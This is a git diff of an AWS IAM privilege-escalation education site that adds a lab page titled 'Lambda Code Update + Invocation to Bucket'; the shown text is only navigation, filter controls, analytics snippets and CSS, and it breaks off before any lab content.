+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/lambda-004-to-bucket/index.html b/docs/labs/lambda-004-to-bucket/index.html
new file mode 100644
index 00000000..747e65b8
--- /dev/null
+++ b/docs/labs/lambda-004-to-bucket/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Lambda Code Update + Invocation to Bucket - pathfinding.cloud Labs</title>
+    <meta name="description" content="Modifying existing Lambda function code and manually invoking it to execute malicious logic under privileged execution role to read S3 bucket contents">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/lambda-004-to-bucket/">
+    <meta property="og:title" content="Lambda Code Update + Invocation to Bucket - pathfinding.cloud Labs">
+    <meta property="og:description" content="Modifying existing Lambda function code and manually invoking it to execute malicious logic under privileged execution role to read S3 bucket contents">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Lambda Code Update + Invocation to Bucket - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Modifying existing Lambda function code and manually invoking it to execute malicious logic under privileged execution role to read S3 bucket contents">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
